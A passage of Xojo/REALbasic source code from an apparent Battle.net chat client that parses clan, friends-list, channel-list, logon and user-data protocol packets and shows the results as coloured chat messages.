Colors.Red, "BNET: Clan invitation to ", Colors.Maroon, Username, Colors.Red, _ " failed because the clan is full.") Case Else Sock.Config.AddChat(True, Colors.Red, "BNET: Clan invitation to ", Colors.Maroon, Username, Colors.Red, " failed (", _ Colors.Maroon, MemClass.HexPrefix(Result, "0x", 2), Colors.Red, ").") End Select Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANINVITATIONRESPONSE(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 10 Then Return False Dim Cookie As UInt32 = MemClass.ReadDWORD(PktData, 1, True) Dim ClanTag As UInt32 = MemClass.ReadDWORD(PktData, 5, True) Dim ClanName As String = MemClass.ReadCString(PktData, 9) Dim Inviter As String = MemClass.ReadCString(PktData, 10 + LenB(ClanName)) Dim w As New ClanInvitationWindow() Dim ret As Byte = &H00 w.fldClanName.Text = ClanName w.fldClanTag.Text = Globals.SClanTag(ClanTag) w.fldClanInviter.Text = Inviter w.ShowModal() If w <> Nil Then If w.Result = w.btnAccept Then ret = &H06 ElseIf w.Result = w.btnDecline Then ret = &H04 ElseIf w.Result = w.btnIgnore Then ret = &H00 End If w.Close() End If If ret <> &H00 Then Sock.Send(Packets.CreateSID_CLANINVITATIONRESPONSE(Cookie, ClanTag, Inviter, ret)) Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANMEMBERINFORMATION(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 15 Then Return False Dim iCookie As UInt32 = MemClass.ReadDWORD(PktData, 1, True) Dim Status As Byte = MemClass.ReadBYTE(PktData, 5) Dim ClanName As String = MemClass.ReadCString(PktData, 6) Dim ClanRank As Byte = MemClass.ReadBYTE(PktData, 7 + LenB(ClanName)) Dim DateJoined As Date = Globals.WindowsFileTimeToDate(_ MemClass.ReadDWORD(PktData, 8 + LenB(ClanName)), _ MemClass.ReadDWORD(PktData, 12 + LenB(ClanName))) Dim oCookie As Cookie = Cookie.Lookup(iCookie, True) Dim Username As String Dim ClanTag As UInt32 If oCookie <> Nil Then Username = oCookie.Value("Username", "").StringValue ClanTag = oCookie.Value("ClanTag", 0).UInt32Value End If Select Case Status Case &H00 // User membership valid Globals.ShowClanMemberInfo(Username, ClanTag, ClanName, ClanRank, DateJoined) Case &H0C // User is not a member of that clan Sock.Config.AddChat(True, Colors.Red, "BNET: ", Colors.Maroon, Username, _ Colors.Red, " is not a member of that clan.") Case Else If Sock.Config <> Nil Then Sock.Config.AddChat(True, Colors.Red, "BNET: Unknown status ", _ Colors.Maroon, "0x" + Right("0000000" + Hex(Status), 8), _ Colors.Red, " received from clan member info.") End If End Select Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANMEMBERLIST(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 5 Then Return False Dim Buffer As New MemClass(PktData, True) Dim Cookie As UInt32 = Buffer.ReadDWORD() Dim Count As Byte = Buffer.ReadBYTE() If Cookie <> 0 And Cookie <> 1 Then Return False If Sock.Config <> Nil And Cookie = 0 Then Sock.Config.AddChat(True, Colors.Cyan, "BNET: There are ", Colors.Teal, Str(Count) + " member" _ + IIf(Count <> 1, "s", ""), Colors.Cyan, " in your clan.") End If If Sock.ClanMembers = Nil Then Sock.ClanMembers = New Dictionary() _ Else Sock.ClanMembers.Clear() Dim User As Dictionary While Sock.ClanMembers.Count < Count User = New Dictionary() User.Value("Username") = Buffer.ReadCString() User.Value("Rank") = Buffer.ReadBYTE() User.Value("Status") = Buffer.ReadBYTE() User.Value("Location") = Buffer.ReadCString() Sock.ClanMembers.Value(User.Value("Username").StringValue) = User If User.Value("Username") = Sock.AccountName Or User.Value("Username") = Sock.UniqueName Then _ Sock.ClanRank = User.Value("Rank") Wend If MainWindow.GetSelectedConfig() = Sock.Config And Sock.Config.Container.lstUsers_Viewing_Clan() Then _ Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANMEMBERRANKCHANGE(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 3 Then Return False Dim OldRank As Byte = MemClass.ReadBYTE(PktData, 1) Dim NewRank As Byte = MemClass.ReadBYTE(PktData, 2) Dim Username As String = MemClass.ReadCString(PktData, 3) If Sock.ClanMembers = Nil Then Sock.Send(Packets.CreateSID_CLANMEMBERLIST(1)) Return True End If Dim User As Dictionary = Sock.ClanMembers.Lookup(Username, Nil) If User = Nil Then Sock.Send(Packets.CreateSID_CLANMEMBERLIST(1)) Return True End If User.Value("OldRank") = OldRank User.Value("Rank") = NewRank If Username = Sock.AccountName Or Username = Sock.UniqueName Then Sock.ClanRank = NewRank If Sock.Config <> Nil Then If MainWindow.GetSelectedConfig() = Sock.Config And Sock.Config.Container.lstUsers_Viewing_Clan() Then _ Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Sock.Config.AddChat(True, Colors.Cyan, "BNET: Clan member ", Colors.Teal, Username, Colors.Cyan, " has been " _ + IIf(NewRank > OldRank, "promoted", "demoted") + " from ", Colors.Teal, Globals.ClanRankName(OldRank), _ Colors.Cyan, " to ", Colors.Teal, Globals.ClanRankName(NewRank), Colors.Cyan, ".") End If Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANMEMBERREMOVED(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 1 Then Return False Dim Username As String = MemClass.ReadCString(PktData, 1) If Sock.ClanMembers <> Nil And Sock.ClanMembers.HasKey(Username) = True Then Sock.ClanMembers.Remove(Username) If Sock.Config <> Nil Then If MainWindow.GetSelectedConfig() = Sock.Config And Sock.Config.Container.lstUsers_Viewing_Clan() Then _ Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Sock.Config.AddChat(True, Colors.Cyan, "BNET: Clan member ", Colors.Teal, Username, _ Colors.Cyan, " was removed from the clan.") End If Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANMEMBERSTATUSCHANGE(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 4 Then Return False Dim Username As String = MemClass.ReadCString(PktData, 1) Dim Rank As Byte = MemClass.ReadBYTE(PktData, 2 + LenB(Username)) Dim Status As Byte = MemClass.ReadBYTE(PktData, 3 + LenB(Username)) Dim Location As String = MemClass.ReadCString(PktData, 4 + LenB(Username)) If Sock.ClanMembers = Nil Then Sock.Send(Packets.CreateSID_CLANMEMBERLIST(1)) Return True End If Dim User As Dictionary = Sock.ClanMembers.Lookup(Username, Nil) If User = Nil Then Sock.Send(Packets.CreateSID_CLANMEMBERLIST(1)) Return True End If User.Value("Status") = Status User.Value("Location") = Location If Rank <> User.Value("Rank") Then User.Value("OldRank") = User.Value("Rank") User.Value("Rank") = Rank If Sock.Config <> Nil Then If MainWindow.GetSelectedConfig() = Sock.Config And Sock.Config.Container.lstUsers_Viewing_Clan() Then _ Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Sock.Config.AddChat(True, Colors.Cyan, "BNET: Clan member ", Colors.Teal, Username, Colors.Cyan, " has been " _ + IIf(Rank > User.Value("OldRank"), "promoted", "demoted") + " from ", Colors.Teal, _ Globals.ClanRankName(User.Value("OldRank")), Colors.Cyan, " to ", Colors.Teal, _ Globals.ClanRankName(Rank), Colors.Cyan, ".") End If End If Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANMOTD(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB( PktData ) < 9 Then Return False Dim CookieId As UInt32 = MemClass.ReadDWORD( PktData, 1, True ) Dim Unknown As UInt32 = MemClass.ReadDWORD( PktData, 5, True ) Dim Message As String = MemClass.ReadCString( PktData, 9 ) Dim Cookie As Cookie = Cookie.Lookup( CookieId, True ) If Cookie = Nil Then Sock.Config.AddChat( True, Colors.Red, "BNET: Received unknown clan message of the day response." ) Return True End If If Unknown <> 0 Then Sock.Config.AddChat( True, Colors.Red, "BNET: SID_CLANMOTD unknown value is non-zero (" + MemClass.HexPrefix( Unknown, "0x" ) + ")." ) End If If LenB( Message ) = 0 Then Sock.Config.AddChat( True, Colors.GoldenRod, "BNET: There is no message of the day for the clan." ) Else Sock.Config.AddChat( True, Colors.GoldenRod, "BNET: Clan message of the day:" ) Sock.Config.AddChat( True, Colors.GoldenRod, Message ) End If Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANQUITNOTIFY(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) <> 1 Then Return False Dim Result As Byte = MemClass.ReadBYTE(PktData, 1) If Result = &H01 Then If Sock.ClanMembers <> Nil Then Sock.ClanMembers.Clear() Sock.ClanMembers = Nil Sock.ClanRank = 0 Sock.ClanTag = 0 If Sock.Config <> Nil Then If MainWindow.GetSelectedConfig() = Sock.Config And Sock.Config.Container.lstUsers_Viewing_Clan() Then _ Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Sock.Config.AddChat(True, Colors.Cyan, "BNET: You are no longer in a clan.") End If End If Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANRANKCHANGE(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) <> 5 Then Return False Dim CookieId As UInt32 = MemClass.ReadDWORD(PktData, 1, True) Dim Result As Byte = MemClass.ReadBYTE(PktData, 5) Dim Cookie As Cookie = Cookie.Lookup(CookieId, True) If Cookie = Nil Then Sock.Config.AddChat(True, Colors.Red, "BNET: Received unknown clan rank change reply." + EndOfLine) Return True End If Dim Username As String = Cookie.Value("Username") Select Case Result Case &H00 // Successfully changed rank Sock.Config.AddChat(True, Colors.Lime, "BNET: Successfully changed the rank of ", Colors.Green, Username, Colors.Lime, ".") Case &H01 // Failed to change rank Sock.Config.AddChat(True, Colors.Red, "BNET: Failed to change the rank of ", Colors.Maroon, Username, Colors.Red, ".") Case &H02 // Cannot change user's rank yet Sock.Config.AddChat(True, Colors.Red, "BNET: Cannot change the rank of ", Colors.Maroon, Username, Colors.Red, " yet.") Case &H07 // Not authorized to change user rank Sock.Config.AddChat(True, Colors.Red, "BNET: You are not authorized to change the rank of ", Colors.Maroon, Username, Colors.Red, ".") Case &H08 // Not allowed to change user rank Sock.Config.AddChat(True, Colors.Red, "BNET: You are not allowed to change the rank of ", Colors.Maroon, Username, Colors.Red, ".") Case Else Sock.Config.AddChat(True, Colors.Red, "BNET: Clan rank change for ", Colors.Maroon, Username, Colors.Red, " failed (", _ Colors.Maroon, MemClass.HexPrefix(Result, "0x", 2), Colors.Red, ").") End Select Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANREMOVEMEMBER(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) <> 5 Then Return False Dim CookieId As UInt32 = MemClass.ReadDWORD(PktData, 1, True) Dim Result As Byte = MemClass.ReadBYTE(PktData, 5) Dim Cookie As Cookie = Cookie.Lookup(CookieId, True) If Cookie = Nil Then Sock.Config.AddChat(True, Colors.Red, "BNET: Received unknown clan member removal reply.") Return True End If Dim Username As String = Cookie.Value("Username") Select Case Result Case &H00 // Removed Sock.Config.AddChat(True, Colors.Lime, "BNET: Successfully removed ", Colors.Green, Username, Colors.Lime, " from the clan.") Case &H01 // Removal failed Sock.Config.AddChat(True, Colors.Red, "BNET: Failed to remove ", Colors.Maroon, Username, Colors.Red, " from the clan.") Case &H02 // Cannot be removed yet Sock.Config.AddChat(True, Colors.Red, "BNET: Cannot remove ", Colors.Maroon, Username, Colors.Red, " from the clan yet.") Case &H07 // Not authorized to remove Sock.Config.AddChat(True, Colors.Red, "BNET: You are not authorized to remove ", Colors.Maroon, Username, Colors.Red, " from the clan.") Case &H08 // Not allowed to remove Sock.Config.AddChat(True, Colors.Red, "BNET: You are not allowed to remove ", Colors.Maroon, Username, Colors.Red, " from the clan.") Case Else Sock.Config.AddChat(True, Colors.Red, "BNET: Clan member removal for ", Colors.Maroon, Username, Colors.Red, " failed (", _ Colors.Maroon, MemClass.HexPrefix(Result, "0x", 2), Colors.Red, ").") End Select Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CREATEACCOUNT2(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 5 Then Return False Dim Result As UInt32 = MemClass.ReadDWORD(PktData, 1) Dim NameSuggestion As String = MemClass.ReadCString(PktData, 5) #pragma Unused NameSuggestion If Sock.Config <> Nil Then Select Case Result Case &H00 // Account created Sock.Config.AddChat(True, Colors.Lime, "BNET: Account created successfully.") Case &H01 Sock.Config.AddChat(True, Colors.Red, "BNET: Your account name is too short.") Case &H02 Sock.Config.AddChat(True, Colors.Red, "BNET: Your account name contains invalid characters.") Case &H03 Sock.Config.AddChat(True, Colors.Red, "BNET: Your account name uses a banned word.") Case &H04 Sock.Config.AddChat(True, Colors.Red, "BNET: Your account already exists.") Case &H05 Sock.Config.AddChat(True, Colors.Red, "BNET: Your account is still being created.") Case &H06 Sock.Config.AddChat(True, Colors.Red, "BNET: Your account name doesn't have enough alphanumeric characters.") Case &H07 Sock.Config.AddChat(True, Colors.Red, "BNET: Your account name contains adjacent punctuations.") Case &H08 Sock.Config.AddChat(True, Colors.Red, "BNET: Your account name contains too many punctuations.") Case Else Sock.Config.AddChat(True, Colors.Red, "BNET: Protocol error - unknown logon result.") End Select End If If (Result = &H00 Or Result = &H05) Or (Result = &H04 And Sock.Config.CreateAccountsFirst = True) Then // Try to logon... Packets.SendLogonPkt(Sock, True) Return True Else Sock.DoDisconnect(False) Return False End If End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_ENTERCHAT(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 3 Then Return False Sock.UniqueName = MemClass.ReadCString(PktData, 1) Sock.Statstring = MemClass.ReadCString(PktData, 2 + LenB(Sock.UniqueName)) Sock.AccountName = MemClass.ReadCString(PktData, 3 + LenB(Sock.UniqueName + Sock.Statstring)) If Sock.Config <> Nil Then Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Sock.Config.AddChat(True, Colors.Cyan, "BNET: Logged on as ", Colors.Teal, Sock.UniqueName, Colors.Cyan, "!") End If Sock.Send(Packets.CreateSID_GETCHANNELLIST(Sock.Product)) Sock.Send(Packets.CreateSID_FRIENDSLIST()) Dim Cookie As New Cookie(Cookie.TypeExtendedAccount) Dim ProfileKeys() As String Cookie.Value("Username") = Sock.AccountName Cookie.Value("Product") = Sock.Product // Extended Account Info ProfileKeys.Append("System\Account Created") ProfileKeys.Append("System\Last Logoff") ProfileKeys.Append("System\Last Logon") ProfileKeys.Append("System\Time Logged") Cookie.Value("Keys") = ProfileKeys Sock.Send(Packets.CreateSID_READUSERDATA(Cookie.Cookie, Array(Sock.AccountName), ProfileKeys)) Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_FLOODDETECTED(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If LenB(PktData) <> 0 Then Return False Sock.Config.AddChat(True, Colors.Red, "BNET: You have been disconnected for flooding.") Sock.DoDisconnect(False) Sock.ReconnectTimer.Period = (1000 * 120) // reconnect in 2 minutes Sock.ReconnectTimer.Mode = Sock.ReconnectTimer.ModeSingle Sock.ReconnectTimer.Enabled = True Sock.ReturnChannel = Sock.ChannelName 'Sock.Config.AddChat(True, Colors.Red, "BNET: Reconnecting in 2 minutes..." + EndOfLine) Return False // normally we'd return true, but we disconnect here, so we want to cancel the loop... End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_FRIENDSADD(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If LenB(PktData) < 8 Then Return False Dim Username As String = MemClass.ReadCString(PktData, 1) Dim Status As Byte = AscB(MidB(PktData, 2 + LenB(Username), 1)) Dim Location As Byte = AscB(MidB(PktData, 3 + LenB(Username), 1)) Dim Product As UInt32 = MemClass.ReadDWORD(PktData, 4 + LenB(Username), True) Dim LocationName As String = MemClass.ReadCString(PktData, 8 + LenB(Username)) Dim dTmp As New Dictionary() dTmp.Value("Username") = Username dTmp.Value("Status") = Status dTmp.Value("Location") = Location dTmp.Value("Product") = Product dTmp.Value("Location Name") = LocationName If Sock.FriendsList = Nil Then Sock.FriendsList = New Dictionary() Sock.FriendsList.Value(Sock.FriendsList.Count) = dTmp If Sock.Config.Container <> Nil And _ Sock.Config.Container.lstUsers_Viewing_Friends() Then _ Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_FRIENDSLIST(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If LenB(PktData) < 1 Then Return False Dim Buffer As New MemClass(PktData, True) Dim dTmp As Dictionary Dim Count As Byte = Buffer.ReadBYTE() If Sock.FriendsList = Nil Then Sock.FriendsList = New Dictionary() Else Sock.FriendsList.Clear() While Sock.FriendsList.Count < Count dTmp = New Dictionary() dTmp.Value("Username") = Buffer.ReadCString() dTmp.Value("Status") = Buffer.ReadBYTE() dTmp.Value("Location") = Buffer.ReadBYTE() dTmp.Value("Product") = Buffer.ReadDWORD() dTmp.Value("Location Name") = Buffer.ReadCString() Sock.FriendsList.Value(Sock.FriendsList.Count) = dTmp Wend If Sock.Config.Container <> Nil And _ Sock.Config.Container.lstUsers_Viewing_Friends() Then _ Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_FRIENDSPOSITION(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If LenB(PktData) <> 2 Then Return False Dim OldIndex As Byte = AscB(MidB(PktData, 1, 1)) Dim NewIndex As Byte = AscB(MidB(PktData, 2, 1)) If Sock.FriendsList = Nil Then Sock.FriendsList = New Dictionary() // Since we don't have the list, we have to recheck ourselves: Sock.Send(Packets.CreateSID_FRIENDSLIST()) Else If Sock.FriendsList.HasKey(OldIndex) = False Or Sock.FriendsList.HasKey(NewIndex) = False Then // Since we don't have one of the two indexes, we have to recheck ourselves: Sock.Send(Packets.CreateSID_FRIENDSLIST()) Else Dim dTmp1 As Dictionary = Sock.FriendsList.Value(OldIndex) Dim dTmp2 As Dictionary = Sock.FriendsList.Value(NewIndex) Sock.FriendsList.Remove(OldIndex) Sock.FriendsList.Remove(NewIndex) Sock.FriendsList.Value(OldIndex) = dTmp2 Sock.FriendsList.Value(NewIndex) = dTmp1 End If End If If Sock.Config.Container <> Nil And _ Sock.Config.Container.lstUsers_Viewing_Friends() Then _ Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_FRIENDSREMOVE(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If LenB(PktData) <> 1 Then Return False Dim Index As Byte = AscB(MidB(PktData, 1, 1)) If Sock.FriendsList = Nil Then Sock.FriendsList = New Dictionary() Else If Sock.FriendsList.HasKey(Index) = True Then _ Sock.FriendsList.Remove(Index) End If If Sock.Config.Container <> Nil And _ Sock.Config.Container.lstUsers_Viewing_Friends() Then _ Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_FRIENDSUPDATE(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If LenB(PktData) < 8 Then Return False Dim Index As Byte = AscB(MidB(PktData, 1, 1)) Dim Status As Byte = AscB(MidB(PktData, 2, 1)) Dim Location As Byte = AscB(MidB(PktData, 3, 1)) Dim Product As UInt32 = MemClass.ReadDWORD(PktData, 4, True) Dim LocationName As String = MemClass.ReadCString(PktData, 8) Dim dTmp As Dictionary = Sock.FriendsList.Lookup(Index, Nil) If dTmp = Nil Then dTmp = New Dictionary() Sock.FriendsList.Value(Index) = dTmp // Since we don't have this index, we have to recheck ourselves: Sock.Send(Packets.CreateSID_FRIENDSLIST()) End If If dTmp.HasKey("Username") = False Then dTmp.Value("Username") = "" dTmp.Value("Status") = Status dTmp.Value("Location") = Location dTmp.Value("Product") = Product dTmp.Value("Location Name") = LocationName If Sock.Config.Container <> Nil And _ Sock.Config.Container.lstUsers_Viewing_Friends() Then _ Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View #If DebugBuild = True Then If BitAnd(Status, &H01) > 0 Then Select Case Location Case &H00 // User went offline; Battle.net will send a whisper so no message needs to be displayed. Case &H01 // Sent SID_LEAVECHAT to Battle.net. Sock.Config.AddChat(True, Colors.Gray, "BNET: Your friend " + dTmp.Value("Username") + " left chat.") Case &H02 // Entered chat. Sock.Config.AddChat(True, Colors.Gray, "BNET: Your friend " + dTmp.Value("Username") + " entered the channel " + LocationName + ".") Case &H03 // Joined a public game. Sock.Config.AddChat(True, Colors.Gray, "BNET: Your friend " + dTmp.Value("Username") + " entered the game " + LocationName + ".") Case &H04 // Joined a private game, not on friends list. Sock.Config.AddChat(True, Colors.Gray, "BNET: Your friend " + dTmp.Value("Username") + " entered a private game.") Case &H05 // Joined a private game, on friends list. Sock.Config.AddChat(True, Colors.Gray, "BNET: Your friend " + dTmp.Value("Username") + " entered the private game " + LocationName + ".") Case Else // ??? Sock.Config.AddChat(True, Colors.Gray, "BNET: Received unknown friend location in an update! " + MemClass.HexPrefix(Location, "0x", 2)) End Select End If #EndIf Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_GETCHANNELLIST(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 1 Then Return False Dim Channels(), sTmp As String, i As Integer = 1 While i <= LenB(PktData) sTmp = MemClass.ReadCString(PktData, i) Channels.Append(sTmp) i = i + 1 + LenB(sTmp) Wend If LenB(Channels(UBound(Channels))) < 1 Then Channels.Remove(UBound(Channels)) Sock.Channels = Channels If Sock.Config <> Nil And Sock.Config.Container.lstUsers_Viewing_ChannelList() Then _ Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_GETFILETIME(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 17 Then Return False Dim requestId As UInt32 = MemClass.ReadDWORD(PktData, 1) Dim unknown As UInt32 = MemClass.ReadDWORD(PktData, 5) Dim lastUpdateTimeL As UInt32 = MemClass.ReadQWORD(PktData, 9) Dim lastUpdateTimeH As UInt32 = MemClass.ReadQWORD(PktData, 13) Dim filename As String = MemClass.ReadCString(PktData, 17) If Sock.Config <> Nil Then Sock.Config.AddChat(True, Colors.Gray, "BNET: File modification time reply:") If requestId <> 0 Then _ Sock.Config.AddChat(True, Colors.FireBrick, "-- Request Id: ", Colors.Red, _ Right("0000000" + Hex(requestId), 8), Colors.FireBrick, " (should be zero)") Sock.Config.AddChat(True, Colors.Gray, "-- Filename: " + Filename) If lastUpdateTimeL = 0 And lastUpdateTimeH = 0 Then Sock.Config.AddChat(True, Colors.Gray, "-- Error: File does not exist") Else Dim lastUpdateTimeDate As Date = Globals.WindowsFileTimeToDate(lastUpdateTimeL, lastUpdateTimeH) Sock.Config.AddChat(True, Colors.Gray, "-- Last written: " + lastUpdateTimeDate.ShortDate + " " + lastUpdateTimeDate.LongTime) End If If unknown <> 0 Then _ Sock.Config.AddChat(True, Colors.FireBrick, "-- Unknown: ", Colors.Red, _ Right("0000000" + Hex(unknown), 8), Colors.FireBrick, " (should be zero)") End If Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_LOGONRESPONSE2(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 4 Then Return False Dim Result As UInt32 = MemClass.ReadDWORD(PktData, 1) Dim MoreInfo As String = MemClass.ReadCString(PktData, 5) Select Case Result Case &H00 // Success If Sock.BNLS <> Nil Then Sock.BNLS.Close() Packets.SendAfterLogonSIDs(Sock) Return True Case &H01 // Account does not exist If Sock.Config <> Nil Then Sock.Config.AddChat(True, Colors.Red, "BNET: Account does not exist; ", Colors.Yellow, "creating it...") End If // Try to create the account... Sock.Send(Packets.CreateSID_CREATEACCOUNT2(Globals.EncryptOLSPW(Sock.Password), Sock.Username)) Return True Case &H02 // Invalid password If Sock.Config <> Nil Then Sock.Config.AddChat(True, Colors.Red, "BNET: Your password is incorrect.") Sock.DoDisconnect(False) Return False Case &H06 // Account closed If LenB(MoreInfo) < 1 Then _ Sock.Config.AddChat(True, Colors.Red, "BNET: Your account has been closed.") Else _ Sock.Config.AddChat(True, Colors.Red, "BNET: " + MoreInfo) Sock.DoDisconnect(False) Return False Case Else // Unknown result code Sock.Config.AddChat(True, Colors.Red, "BNET: Protocol error - unknown logon result.") Sock.DoDisconnect(False) Return False End Select End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_MESSAGEBOX(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 6 Then Return False Dim Style As UInt32 = MemClass.ReadDWORD(PktData, 1) Dim Text As String = MemClass.ReadCString(PktData, 5) Dim Caption As String = MemClass.ReadCString(PktData, 6 + LenB(Text)) #pragma Unused Style If Text = "You have been disconnected for flooding." Then Return True If Sock.Config = Nil Then Return True If Caption <> "Battle.net" Then Sock.Config.AddChat(True, Colors.Red, "BNET: Message from Battle.net: " + Caption) Else Sock.Config.AddChat(True, Colors.Red, "BNET: Message from Battle.net:") End If Dim Lines() As String = Split(ReplaceLineEndings(Text, Chr(13)), Chr(13)) For Each Line As String In Lines Sock.Config.AddChat(True, Colors.Red, "BNET: " + Line) Next Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_NULL(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) <> 0 Then Return False Sock.LastNullReceive = Microseconds() Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_PING(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) <> 4 Then Return False Sock.Send(Packets.CreateSID_PING(PktData)) Sock.Poll() Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_READUSERDATA(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If LenB(PktData) < 12 Then Return False Dim Buffer As New MemClass(PktData, True) Dim AccountCount As UInt32 = Buffer.ReadDWORD() Dim KeyCount As UInt32 = Buffer.ReadDWORD() Dim CookieId As UInt32 = Buffer.ReadDWORD() Dim Cookie As Cookie = Cookie.Lookup(CookieId, True) If Cookie = Nil Then Sock.Config.AddChat(True, Colors.Red, "BNET: Received unknown user data response.") Return True End If Select Case Cookie.Type Case Cookie.TypeExtendedAccount Dim sAccountCreated As String = Buffer.ReadCString() Dim sLastLogoff As String = Buffer.ReadCString() Dim sLastLogon As String = Buffer.ReadCString() Dim sTimeLogged As String = Buffer.ReadCString() Dim oDate As New Date() Dim oAccountCreated As Date Dim oLastLogoff As Date Dim oLastLogon As Date If Len(sAccountCreated) > 0 Then oAccountCreated = Globals.WindowsFileTimeToDate(_ Val(NthField(sAccountCreated, " ", 2)), Val(NthField(sAccountCreated, " ", 1))) End If If Len(sLastLogoff) > 0 Then oLastLogoff = Globals.WindowsFileTimeToDate(_ Val(NthField(sLastLogoff, " ", 2)), Val(NthField(sLastLogoff, " ", 1))) End If If Len(sLastLogon) > 0 Then oLastLogon = Globals.WindowsFileTimeToDate(_ Val(NthField(sLastLogon, " ", 2)), Val(NthField(sLastLogon, " ", 1))) End If If Len(sTimeLogged) > 0 Then sTimeLogged = Globals.TimeString(Val(sTimeLogged), False, True) End If If oAccountCreated <> Nil Then oAccountCreated.GMTOffset = oAccountCreated.GMTOffset + oDate.GMTOffset Sock.Config.AddChat(True, Colors.Gray, "Account Created: " + _ oAccountCreated.ShortDate + " " + oAccountCreated.LongTime) End If If oLastLogoff <> Nil Then oLastLogoff.GMTOffset = oLastLogoff.GMTOffset + oDate.GMTOffset Sock.Config.AddChat(True, Colors.Gray, "Last Logoff: " + _ oLastLogoff.ShortDate + " " + oLastLogoff.LongTime) End If If oLastLogon <> Nil Then oLastLogon.GMTOffset = oLastLogon.GMTOffset + oDate.GMTOffset Sock.Config.AddChat(True, Colors.Gray, "Last Logon: " + _ oLastLogon.ShortDate + 